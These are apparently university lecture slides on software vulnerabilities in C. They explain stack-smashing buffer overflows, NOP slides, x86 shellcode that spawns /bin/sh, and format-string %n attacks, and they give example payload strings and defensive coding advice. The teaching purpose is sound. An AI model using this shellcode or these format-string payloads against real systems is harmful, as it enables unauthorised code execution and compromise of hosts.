Software Vulnerabilities and Exploits

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CS 0133
3rd December 2018
Imperfect Software

• To be useful, software must **process input**
  – From files, network connections, keyboard...
• Programmer typically intends his code to manipulate input in particular way
  – e.g., **parse HTTP request, retrieve matching content, return it to requestor**
• Programs are complex, and **often include subtle bugs unforeseen by the programmer**
• Fundamentally hard to prevent all programmer error
  – Design itself may use **flawed logic**
  – Even formal reasoning may not capture all ways in which program may deviate from desired behavior
  – **Remember: security is a negative goal...**
Imperfect Software (2)

• Even if logic correct, implementation may vary from programmer intent
• C and C++ particularly dangerous
  – Allow arbitrary manipulation of pointers
  – Require programmer-directed allocation and freeing of memory
  – Don’t provide memory safety; very difficult to reason about which portions of memory a line of C changes
  – Offer high performance, so extremely prevalent, especially in network servers and OSes
• Java offers memory safety, but not a panacea
  – JRE written in (many thousands of lines of) C!
Software Vulnerabilities and Exploits

- **Vulnerability**: broadly speaking, input-dependent bug that can cause program to complete operations that deviate from programmer’s intent
- **Exploit**: input that, when presented to program, triggers a particular vulnerability
- Attacker can use exploit to execute operations without authorization on vulnerable host
- Vulnerable program executes with some privilege level
  - Many network servers execute as superuser
  - Users run applications with their own user ID
  - Result: great opportunity for exploits to do harm
Software Vulnerabilities and Exploits

• **Vulnerability**: broadly speaking, input-dependent bug that can cause program to complete operations that deviate from programmer’s intent
  - Examples:
    - Input validation failures
    - Buffer overflows
    - Format string vulnerabilities

Today: vulnerabilities in C programs that **allow an attacker to execute his own arbitrary code within the vulnerable program** without authorization on vulnerable host

• Vulnerable program executes with some privilege level
  - Many network servers execute as **superuser**
  - Users run applications with their **own user ID**
  - Result: great opportunity for exploits to do harm
Buffer Overflows in C: General Idea

- Buffers (arrays) in C manipulated using pointers
- C allows arbitrary arithmetic on pointers
  - Compiler has no notion of size of object pointed to
  - So programmers must explicitly check in code that pointer remains within intended object
  - But programmers often do not do so; vulnerability!
- Buffer overflows used in many exploits:
  - Input long data that runs past end of programmer’s buffer, over memory that guides program control flow
  - Enclose code you want executed within data
  - Overwrite control flow info with address of your code!
Memory Map of a UNIX Process

- **Text**: executable instructions, read-only data; size fixed at compile time
- **Data**: initialized and uninitialized; grows towards higher addresses
- **Stack**: LIFO, holds function arguments and local variables; grows toward lower addresses
Intel X86 Stack: Stack Frames

- Region of stack used within C function: stack frame
- Within function, local variables allocated on stack
- SP register: stack pointer, points to top of stack
- BP register: frame pointer (aka base pointer), points to bottom of stack frame of currently executing function
Intel X86 Stack: Calling and Returning from Functions

• To call function $f()$, **allocate new stack frame:**
  – Push arguments, e.g., $f(a, b, c)$
  – Push return address: next instruction (IP) in caller
  – Set $IP = \text{address of } f();$ jump to callee
  – Push saved frame pointer: BP for caller’s stack frame
  – Set $BP = SP;$ sets frame pointer to start of new frame
  – Set $SP -= \text{sizeof(locals)};$ allocates local variables

• Upon return from $f()$, **deallocate stack frame:**
  – Set $SP += \text{sizeof(locals)};$ deallocates local variables
  – Set $BP = \text{saved frame pointer from stack};$ change to caller’s stack frame
  – Set $IP = \text{saved return address from stack};$ return to next instruction in caller
Example: Simple C Function Call

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
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int main(int argc, char **argv)
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Example: Simple C Function Call

args

Increasing memory addresses

main()’s stack frame

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Example: Simple C Function Call

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    }
}
```

Example: Simple C Function Call

- **Function Call**: `void dorequest(int a, int b)`
  - Parameters: `int a`, `int b`
  - Local Variables: `char request[256]`
  - Code:
    ```c
    scanf("%s", request);
    /* process the request... */
    ...
    return;
    ```

- **Main Function**: `int main(int argc, char **argv)`
  - Code:
    ```c
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
    ```

**Increasing memory addresses**
- Return Address: `0x63441827`
- Arguments: `17`, `38`
- Main()’s stack frame
Example: Simple C Function Call

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    char request[256];

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{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```
Stack Smashing Exploits: Basic Idea

• Return address stored on stack directly influences program control flow
• Stack frame layout: local variables allocated just before return address
• If programmer allocates buffer as local on stack, reads input, and writes it into buffer without checking input fits in buffer:
  – Send input containing shellcode you wish to run
  – Write past end of buffer, and overwrite return address with address of your code within stack buffer
  – When function returns, your code executes!
Example: Stack Smashing

```c
void dorequest(int a, int b) {
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

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    while (1) {
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    }
}

Example: Stack Smashing

Shell code

Local vars

0x80707336

0x63441827

17

38

Saved fp

Args

Main()’s stack frame

Increasing memory addresses

Malicious input

Shell code
Example: Stack Smashing

```c
void dorequest(int a, int b)
{
    char request[256];
    scanf("%s", request);
    /* process the request... */
    ...
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int main(int argc, char **argv)
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}
```

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**Example: Stack Smashing**

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    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
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---

**Example: Stack Smashing**

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        dorequest(17, 38);
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    }
}

Example: Stack Smashing

malicious input

shell code

Owned!

return addr

local vars

Increasing memory addresses

shell code

0x80707040

0x80707036

17

38

main()’s stack frame

current fp
Designing a Stack Smashing Exploit

• In our example, attacker had to know:
  – existence of stack-allocated buffer without bounds check in program
  – exact address for start of stack-allocated buffer
  – exact offset of return address beyond buffer start

• Hard to predict these exact values:
  – stack size before call to function containing vulnerability may vary, changing exact buffer address
  – attacker may not know exact buffer size

• Don’t need to know either exact value, though!
Designing a Stack Smashing Exploit (2)

• No need to know exact return address:
  – Precede shellcode with **NOP slide**: long sequence of NOPs (or equivalent instructions)
  – So long as **jump into NOP slide**, shellcode executes
  – Effect: range of return addresses works

• No need to know exact offset of return address beyond buffer start:
  – **Repeat shellcode’s address many times** in input
  – So long as first instance occurs before return address’s location on stack, and enough repeats, will overwrite it
Example: Stack Smashing “2.0”

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ... return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf (log, "completed\n");
    }
}
```
Example: Stack Smashing “2.0”

```c
void dorequest(int a, int b)
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}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf (log, “completed\n”);
    }
}
```

---

**Malicious input**

**NOP slide**  
**Shell code**

---

**Increasing memory addresses**

- **Local vars**: request
- **Saved fp**: return addr
- **Args**: main()’s stack frame

---

0x80707336
0x63441827
17
38
Example: Stack Smashing “2.0”

void dorequest(int a, int b) {
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf (log, “completed\n”);
    }
}

malicious input

NOP slide shell code
Example: Stack Smashing “2.0”

void dorequest(int a, int b)
{
    char request[256];

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    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
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        dorequest(17, 38);
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    }
}

malicious input

NOP slide  shell code

Increasing memory addresses

local vars

saved fp

return addr

args

main()’s stack frame
void dorequest(int a, int b) {
    char request[256];

    scanf("%s", request);
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int main(int argc, char **argv) {
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}

Example: Stack Smashing "2.0"

malicious input
Designing Practical Shellcode

• Shellcode normally executes /bin/sh; gives attacker a shell on exploited machine

• shellcode.c:

```c
void main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    exit(0); /* if execve fails, don’t */
}  /* dump core */
```
Designing Practical Shellcode (2)

• Compile shellcode.c, disassemble in gdb to get hex representation of instructions
• Problem: to call execve(), must know exact address of string “/bin/sh” in memory (i.e., within stack buffer)
  – Difficult to predict, as before
Designing Practical Shellcode (3)

- Both jmp and call instructions allow IP-relative addressing
  - Specify target by offset from current IP, not by absolute address

- Finding absolute address of “/bin/sh” at runtime:
  - add call instruction at end of shellcode, with target of first shellcode instruction, using relative addressing
  - place “/bin/sh” immediately after call instruction
  - call will push next “instruction’s” address onto stack
  - precede first shellcode instruction with jmp to call, using relative addressing
  - after call, stack will contain address of “/bin/sh”
Practical Shellcode Example

jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string "/bin/sh" # 8 bytes
Practical Shellcode Example

jmp 0x2a  # 3 bytes
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.string "/bin/sh" # 8 bytes
```

**Writes string address on stack!**
Practical Shellcode Example

```
jmp 0x2a       # 3 bytes
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call -0x2f # 5 bytes
```

Writes string address on stack!

```
.string "/bin/sh" # 8 bytes
```
Practical Shellcode Example

```assembly
jmp 0x2a  # 3 bytes
popl %esi  # 1 byte
movl %esi,0x8(%esi)  # 3 bytes
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int $0x80  # 2 bytes
call -0x2f  # 5 bytes
.string "\"/bin/sh\""  # 8 bytes
```

- Pops string address from stack!
- Writes string address on stack!
Eliminating Null Bytes in Shellcode

- Often vulnerability copies string into buffer
- C marks end of string with zero byte
  - So functions like `strcpy()` will stop copying if they encounter zero byte in shellcode instructions!
- Solution: replace shellcode instructions containing zero bytes with equivalent instructions that don’t contain zeroes in their encodings
Defensive Coding to Avoid Buffer Overflows

• **Always explicitly check input length against target buffer size**

• Avoid C library calls that don’t do length checking:
  − e.g., `sprintf(buf, ...), scanf("%s", buf), strcpy(buf, input)`

• Better:
  − `snprintf(buf, buflen, ...), scanf("%256s", buf), strncpy(buf, input, 256)`
Overview: Format String Vulnerabilities and Exploits

• Recall C’s `printf`-like functions:
  – `printf(char *fmtstr, arg1, arg2, ...)`
  – e.g., `printf("%d %d", 17, 42);`
  – Format string in 1st argument specifies number and type of further arguments

• Vulnerability:
  – If programmer allows input to be used as format string, attacker can force `printf`-like function to overwrite memory
  – So attacker can devise exploit input that includes shellcode, overwrites return address...
Background: \%n Format String Specifier

- "\%n" format string specifier directs printf to write number of bytes written thus far into the integer pointed to by the matching int * argument

- Example:
  ```c
  int i;
  printf("foobar\%n\n\n", (int *) &i);
  printf("i = %d\n", i);
  ```

- Output:
  ```plaintext
  foobar
  i = 6
  ```
Abusing `%n` to Overwrite Memory

- printf’s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- printf() increments pointer to point to successive arguments

[suppose input = “%d%d%d\n”]

```c
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```

fmt buffer

Increasing memory addresses
Abusing `%n` to Overwrite Memory

- `printf`'s caller often allocates format string buffer on stack
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Abusing \%n to Overwrite Memory

- **printf**’s caller often allocates format string buffer on stack
- **C** pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- **printf** increments pointer to point to successive arguments

```
[suppose input = "%d%d%d\n"]
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```c
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```

```
0x80707336
0x63441827
fmt
1
2
3
```

- Increasing memory addresses
- caller's stack frame
Abusing %n to Overwrite Memory

- `printf`’s caller often allocates format string buffer on stack
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```c
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```
Abusing %n to Overwrite Memory (2)

- **Idea:**
  - Use specifiers in format string to increment printf()'s arg pointer so it points to format string itself
  - Supply target address to write at start of format string
  - Supply “%n” at end of format string

[input = "\xc0\xc8\xff\xbf%08x%08x%08x%08x%n"]

char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);

Result: can overwrite chosen location with small integer
Still need to choose value we overwrite with…
Controlling Value Written by %n

- %n writes number of bytes printed
- But number of bytes printed controlled by *format string*!
  - Format specifiers allow indication of exactly how many characters to output
  - e.g., “%20u” means “use 20 digits when printing this unsigned integer”

- So we can use “%[N]u%n” format specifier to set least significant byte of target address to value [N]!
Example: Using %[N]u%n

- Example format string:
  
  "[spop]\x01\x01\x01\x01\xc0\xc8\xff\xbf%50u%n"

- [spop] is sequence of "%08x" values, to advance printf()’s arg pointer to first byte after [spop]
- \x01\x01\x01\x01 is dummy integer, to be consumed by %50u
- \xc0\xc8\xff\xbf is address of integer whose least significant byte will be changed by %n
- %50u sets number of output bytes for %u to 50 (0x32)
- %n writes number of output bytes to target address
- Result: least significant byte of 4-byte value at 0xbfffc8c0 overwritten with number of bytes printed total: 0x32 + 0x08 + [bytes printed by spop]
Overwriting Full 4-Byte Values

• Template for format string:
  
  [4 non-zero bytes (dummy int)]
  [4 bytes target address]
  [dummy int][4 bytes (target address + 1)]
  [dummy int][4 bytes (target address + 2)]
  [dummy int][4 bytes (target address + 3)]
  [spop]
  %[1\text{st} byte value to write]u%n
  %[2\text{nd} byte value to write]u%n
  %[3\text{rd} byte value to write]u%n
  %[4\text{th} byte value to write]u%n

• N.B. LSB always in lowest memory address
  (Intel is little-endian)
Overwriting 4-Byte Values (2)

• Counter for %n is cumulative
• But only least significant byte written matters
• Say %n count is x so far, want next overwritten byte to have value y
• Next %u should be %[N]u, where:
  \[ N = (0x100 + y - (x \mod 0x100)) \mod 0x100 \]
  if (N < 10)
    N += 0x100
Format String Vulnerabilities Are Real and Versatile

- Example: \texttt{wu-ftp\textbackslash d \leq 2.6.0:}

\begin{verbatim}
{  
  char buffer[512];  
  snprintf (buffer, sizeof (buffer), \texttt{user});  
  buffer[sizeof (buffer) - 1] = '\0';
}
\end{verbatim}

- Ability to overwrite arbitrary memory makes format string vulnerabilities \texttt{versatile}:  
  - Sure, can overwrite return address to return to shellcode, but \texttt{other ways to attack, too}  
  - If server contains “superuser” flag (0 or 1), just overwrite that flag to be 1...
Vulnerability Prevalence

• More scrutiny of software than ever
• Little overall progress in producing vulnerability-free software

Source: cvedetails.com
Disclosure and Patching of Vulnerabilities

• Software vendors and open-source developers audit code, release vulnerability reports
  – Usually describe vulnerability, but don’t give exploit
  – Often include announcement of patch

• Race after disclosure: users patch, attackers devise exploit
  – Users often lazy or unwilling to patch; “patches” can break software, or include new vulnerabilities

• Attackers prize exploits for undisclosed vulnerabilities: zero-day exploits

• Disclosure best for users: can patch or disable, vs. risk of widest harm by zero-day exploit
Summary

• Many categories of vulnerabilities in C/C++ binaries; 2 we’ve seen hardly exhaustive

• Incentives for attackers to find vulnerabilities and design exploits are high
  – Arbitrary code injection allows:
    • Defacing of widely viewed web site
    • Stealing valuable confidential data from server
    • Destruction of data on server
    • Recruitment of zombies to botnets (spam, DoS)
  – Market in vulnerabilities and exploits!

• Preventing all exploits extremely challenging
  – Stopping one category leads attackers to use others
  – New categories continually arising